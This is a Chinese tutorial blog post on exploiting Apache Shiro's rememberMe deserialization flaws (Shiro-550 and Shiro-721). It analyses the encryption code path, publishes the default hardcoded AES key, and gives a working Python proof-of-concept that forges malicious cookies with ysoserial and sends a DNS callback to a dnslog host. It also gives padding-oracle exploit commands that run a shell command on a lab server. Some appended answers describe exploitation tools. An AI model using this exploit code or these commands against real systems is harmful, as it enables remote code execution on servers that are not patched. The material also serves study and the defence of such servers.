Shiro反序列化漏洞利用详解(Shiro-550+Shiro-721)

Shiro反序列化漏洞利用详解(Shiro-550+Shiro-721)

Shiro简介

Apache Shiro 是一个强大易用的Java安全框架,提供了认证、授权、加密和会话管理等功能,Shiro框架直观、易用、同时也能提供健壮的安全性。

Apache Shiro反序列化漏洞分为两种:Shiro-550Shiro-721

Shiro-550反序列漏洞

漏洞原理

Apache Shiro框架提供了记住密码的功能(RememberMe),用户登录成功后会生成经过加密并编码的cookie。在服务端对rememberMe的cookie值,先base64解码然后AES解密再反序列化,就导致了反序列化RCE漏洞。
那么,Payload产生的过程:
命令=>序列化=>AES加密=>base64编码=>RememberMe Cookie值
在整个漏洞利用过程中,比较重要的是AES加密的密钥,如果没有修改默认的密钥那么就很容易就知道密钥了,Payload构造起来也是十分的简单。

影响版本

Apache Shiro < 1.2.4

Shiro反序列化的特证:

返回包中会包含rememberMe=deleteMe字段

这种情况大多会发生在登录处,返回包里包含remeberMe=deleteMe字段,这个是在返回包中(Response)

如果返回的数据包中没有remeberMe=deleteMe字段的话,可以在数据包中的Cookie中添加remeberMe=deleteMe字段这样也会在返回包中有这个字段

基础环境

编辑器:IDEA 2020

java版本:jdk1.7.0_80

Server版本 : Tomcat 8.5.56

shiro版本:shiro-root-1.2.4

组件:commons-collections4

漏洞简单介绍利用
  • 通过在cookie的rememberMe字段中插入恶意payload,
  • 触发shiro框架的rememberMe的反序列化功能,导致任意代码执行。
  • shiro 1.2.24中,提供了硬编码的AES密钥:kPH+bIxk5D2deZiIxcaaaA==
  • 由于开发人员未修改AES密钥而直接使用Shiro框架,导致了该问题

漏洞分析
加密

Shiro≤1.2.4版本默认使用CookieRememberMeManager,而且CookieRememberMeManager类继承了AbstractRememberMeManager

AbstractRememberMeManager这个类调用了rememberSerializedIdentity方法

这个方法使用base64对指定的序列化字节数进行编码,并将Base64编码的字符串设置成cookie值

而这个方法被rememberIdentity方法给调用了。

rememberIdentity方法被onSuccessfulLogin方法给调用,这里找到了onSuccessfulLogin成功登录的方法

当登录成功后会调用AbstractRememberMeManager.onSuccessfulLogin方法,该方法主要实现了生成加密的RememberMe Cookie,然后将RememberMe Cookie设置为用户的Cookie值。在前面我们分析的rememberSerializedIdentity方法里面去实现了

然后调用了isRememberMe

这个是用来判断用户是否选择了Remember Me选项

如果是TRUE的话就会调用remeberIdentity方法并且传入三个参数。

这个方法进行了一个反序列化,然后返回序列化后的byte数组

看下面的代码,如果getCipherService方法不为空的话,就会去执行下一段代码。getCipherService方法是获取加密模式。

查看调用,会发现在构造方法里面对该值进行定义。

到了这里后又会调用encrypt方法,对序列化后的数据进行处理。

这里调用了cipherService.encrypt方法并且传入序列化数据,和getEncryptionCipherKey方法。

这里的getEncryptionCipherKey方法是获取秘钥的方法


再次查看调用的时候发现setCipherKey方法在构造方法里面被调用了

查看DEFAULT_CIPHER_KEY_BYTES值后发现里面定义了一串秘钥而且秘钥是定义死的

返回刚刚加密的地方

然后跟近下面圈起来的地方

查看到这里发现会传入前面序列化的数组和key值,最后再去调用他的重载方法并且传入序列化数组、key、ivBytes值、generate。

iv的值由generateInitializationVector方法生成,进行跟进。

然后再查看getDefaultSecureRandom方法

再次返回generateInitializationVector继续查看,这里会发现new了一个byte数组长度为16

最后得到了ivBytes值进行返回

然后再返回到加密方法的地方查看具体加密的实现

这里调用crypt方法进行获取到加密后的数据,而这个output是一个byte数组,大小是加密后数据的长度加上iv这个值的长度。

在执行完成后序列化的数据已经被进行了AES加密,返回一个byte数组。

然后后面就是进行base64加密后设置为用户的Cookie的rememberMe字段中。

解密

我们前面分析加密的时候,调用了AbstractRememberMeManager.encrypt进行加密,该类中也有对应的解密操作。

调用getRememberedPrincipals方法,然后调用了convertBytesToPrincipals方法,然后使用了decrypt方法,然后用加密的方法生成iv值,传入到他的重载方法中,然后就会返回deserialize方法的返回值,并且传入AES加密后的数据。然后调用readObject方法进行反序列化操作

漏洞攻击

现在已经知道了是因为获取rememberMe值,然后进行解密后再进行反序列化操作。

那么在这里如果拿到了密钥就可以伪造加密流程。

这里找了一个加密脚本

# -*-* coding:utf-8
# @Time    :  2020/10/16 17:36
# @Author  : nice0e3
# @FileName: poc.py
# @Software: PyCharm
# @Blog    :https://www.cnblogs.com/nice0e3/
import base64
import uuid
import subprocess
from Crypto.Cipher import AES


def rememberme(command):
    # popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'URLDNS', command], stdout=subprocess.PIPE)
    popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'URLDNS', command],
                             stdout=subprocess.PIPE)
    # popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = "kPH+bIxk5D2deZiIxcaaaA=="
    mode = AES.MODE_CBC
    iv = uuid.uuid4().bytes
    encryptor = AES.new(base64.b64decode(key), mode, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext


if __name__ == '__main__':
    # payload = encode_rememberme('127.0.0.1:12345')
    # payload = rememberme('calc.exe')
    payload = rememberme('http://u89cy6.dnslog.cn')
    with open("./payload.cookie", "w") as fpw:

        print("rememberMe={}".format(payload.decode()))
        res = "rememberMe={}".format(payload.decode())
        fpw.write(res)

获取到值后加密后的payload后可以在burp上面进行手工发送测试一下。

Shiro-721

利用条件

知道已经登陆用户的合法cookie且目标服务器含有可利用的攻击链就可以进行漏洞利用。

原理

Apache Shiro RememberMe Cookie默认通过AES-128-CBC模式加密,这种加密方式容易受到Padding Oracle Attack(Oracle填充攻击),利用有效的RememberMe Cookie作为Padding Oracle Attack的前缀,然后精心构造 RememberMe Cookie 值来实现反序列化漏洞攻击.

  • AES 是指 “高级加密标准”,是一种对称加密的分组加密算法,128是指密钥长度,CBC是指 “密码分组链接” 加密模式 , PKCS5Padding 是 Apache Shiro 中默认填充方式 , 最后一个明文分组缺少 N 个字节,则填充N个0x0N。
  • 在 Apache Shiro 中默认使用 CBC 加密模式与 PKCS5Padding 填充方式,CBC 加密模式容易遭到 Padding Oracle Attack,攻击者可以通过枚举 IV 的方式计算出全部明文,并且可以通过 CBC Byte-Flipping Attack 篡改某一段的明文。
  • Padding Oracle Attack 利用前提 :
    1、攻击者能够获得密文( CipherText )与附带在密文前面的初始化向量( IV )
    2、服务端对密文解密后会判断 Padding 是否有效 . 并根据不同的判定结果返回不同的响应信息。
  • CBC Byte-Flipping Attack 利用前提 :
    1、明文和密文已知

用通俗易懂的话来说就是

shiro721用到的加密方式是AES-CBC,而且其中的ase加密的key基本猜不到了,是系统随机生成的。而cookie解析过程跟cookie的解析过程一样,也就意味着如果能伪造恶意的rememberMe字段的值且目标含有可利用的攻击链的话,还是能够进行RCE的。

影响版本

1.2.5,
1.2.6,
1.3.0,
1.3.1,
1.3.2,
1.4.0-RC2,
1.4.0,
1.4.1

漏洞复现

先使用合法账号进行登录勾选remember Me然后使用bp抓包

然后获取到cookie

此处注意删除JSESSIONID,否则后续无法利用
将其中的remember Me字段复制下来输入到工具中进行利用:

java -jar ysoserial.jar CommonsBeanutils1 "touch /tmp/123" > payload.class


python shiro_exp.py http://192.168.171.137:8080/login.jsp LIO2vKStP5R4NN+TLY0Bgfrz+3sacQHB1BfrOheCVAHeFAGtRsX9JW24tCvcedluOxZwFPoOSs7/tA0fK+UJ9ylRjLIT87NIN1smV22TVqdQ4vSJXB42IQCTV1mDA2CwlDpoeem6M4qY2SeB4JwIpV+iUwNJoOj+NfWeX3/lLZHkoCnsR5TCm6GrHyhdaDZYK0BAJNXFQ9658sJGAF1fztcfR0pYD9RtX26iLW73+D0pd3x6DhPQB7euA4uhUZ3Ue8RoOK3jTqxHC3U5n0DIMpc1RWlHVzUyHjejFAPXCReV+7ds/dWr+b5XlgP9/7ajmi2+6dqr2apVaIhEMC5SP4X4Y+QZw3wS6w76pD1vT8JSlG6l+h4+tIRuS4/gbUzX8GhmPCtw2MBMS/xZ2FsjvTPexdPLEf+114qo4152aNNcXul4zN3czLlve+otlqd5E/WyhhbBA2+EFk+Pewnsq2g2sS53s57H9BcWhXHkcwf0cIrkOXAn9a9xfkkm1HH9 payload.class

最后会生成恶意的rememberMe cookie,我们使用这个cookie替换原数据包中的cookie。然后登陆进服务器看,会发现/tmp目录下被创建了一个123文件。

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
### 回答1: Shiro反序列化漏洞是近年来Java安全领域的一个重大问题,由于Apache Shiro框架的反序列化机制不够安全且攻击方式广泛,黑客可以通过此漏洞在应用程序中执行任意代码和操作,从而导致数据泄露、系统崩溃等风险。 为了解决这一问题,一些恶意黑客开发Shiro反序列化漏洞综合利用工具,其主要作用是探测针对Shiro漏洞的攻击点,同时提供自动化攻击功能,即通过模块化的方式实现攻击流程中的各个步骤自动化工具,简化攻击者的工作。 该工具主要包括以下几个模块: 1. Payload生成模块:通过对Shiro反序列化漏洞的利用规律进行分析,在调用对象与类名之间添加有效负载数据,从而在反序列化过程中执行攻击代码。 2. 指南针获取模块:该模块主要用于获取目标应用程序中的Shiro指南针(即Shiro的运行时环境),并识别出漏洞点的位置和类型。 3. AOP织入模块:该模块主要用于AOP自动化处理,将攻击标记织入目标应用程序中的相关类或方法,实现自动化攻击。 4. 反调试模块:该模块主要用于实现对攻击过程的掩盖,尽可能避免被抓获,保证攻击效果。 总的来说,Shiro反序列化漏洞综合利用工具主要是针对Shiro反序列化漏洞的攻击模块,可以快速发现应用程序的漏洞点,同时提供一系列协作模块进行攻击,具有较高的效率和可靠性,是黑客攻击的主要工具之一,需要开发者及时做好漏洞修复和加强安全机制的措施。 ### 回答2: Shiro是一个开源的Java安全框架,提供了诸如身份验证、授权、加密解密等功能。然而,Shiro框架存在一个反序列化漏洞,攻击者可以通过该漏洞执行任意命令,进而获取服务器权限。 针对这个漏洞,黑客社区推出了多种综合利用工具,例如ysoserial、commons-collections等,这些工具利用Shiro框架中反序列化漏洞的特性,构造恶意数据包,传输至目标服务器执行任意命令。 在使用这些工具时,黑客需要进行一系列步骤。首先,需要获取Shiro框架的加密密钥,以便构造有效的恶意数据包。其次,需要利用工具生成payload,常用的情况是利用ysoserial生成Exploit序列化对象,最后发送给目标服务器触发漏洞执行恶意代码。 这些工具很容易从Github和Darkweb等地方获取,使用工具的成本很低,攻击者只需要稍微了解一些Shiro框架和Java相关知识,便可轻松进行攻击。 因此,服务端必须及时修复Shiro框架的反序列化漏洞,升级到最新版本,避免黑客通过利用漏洞入侵服务器,造成不可估量的损失。此外,数据加密、权限控制等措施也非常重要,可以防止黑客获取加密密钥,降低服务器被攻击的风险。 ### 回答3: Shiro反序列化漏洞综合利用工具是一款能够快速检测和利用Shiro框架反序列化漏洞的工具,可以自动化完成攻击流程,方便黑客进行攻击。该工具主要是基于shiro-poc脚本开发而来,可以自动化完成Shiro认证和授权的绕过,进而获取目标系统敏感信息或者直接取得系统控制权。 利用Shiro反序列化漏洞综合利用工具通常需要进行如下流程:首先,收集目标系统的相关信息,包括Shiro框架版本和应用程序暴露的Cookie等信息。其次,通过漏洞检测工具对目标系统进行漏洞扫描,确认是否存在Shiro反序列化漏洞。然后,根据目标系统的情况选择对应的攻击方式,例如通过利用恶意序列化数据绕过Shiro认证和授权机制,获取敏感信息或控制目标系统。最后,保护自己的系统,使用安全补丁或其他措施来防止Shiro反序列化漏洞被攻击者利用。 总之,Shiro反序列化漏洞综合利用工具是一个十分强大的利用工具,可以使攻击者轻松利用Shiro反序列化漏洞对目标系统进行攻击和渗透,对于防范此类攻击,我们必须做好系统漏洞修复和相关防护措施。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值